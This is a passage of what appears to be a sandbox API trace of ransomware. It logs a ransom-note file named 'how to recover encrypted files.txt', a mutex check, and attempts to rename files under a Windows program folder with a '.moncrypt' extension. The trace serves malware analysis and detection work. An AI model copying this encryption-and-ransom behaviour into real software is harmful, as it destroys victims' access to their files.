CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.508] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", cchWideChar=99, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 99 [0058.508] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.509] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.509] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.509] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.509] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.509] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.509] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.509] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.509] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.509] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.510] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.510] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.510] GlobalUnlock (hMem=0x440004) returned 0 [0058.510] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.510] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.510] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.510] GlobalUnlock (hMem=0x440004) returned 0 [0058.510] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.510] GlobalUnlock (hMem=0x44000c) returned 0 [0058.510] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.510] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", cchWideChar=90, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.pngl", lpUsedDefaultChar=0x0) returned 90 [0058.511] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\NavigationUp_ButtonGraphic.pngl", lpUsedDefaultChar=0x0) returned 4 [0058.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.512] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.512] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.512] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.512] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.512] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.512] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 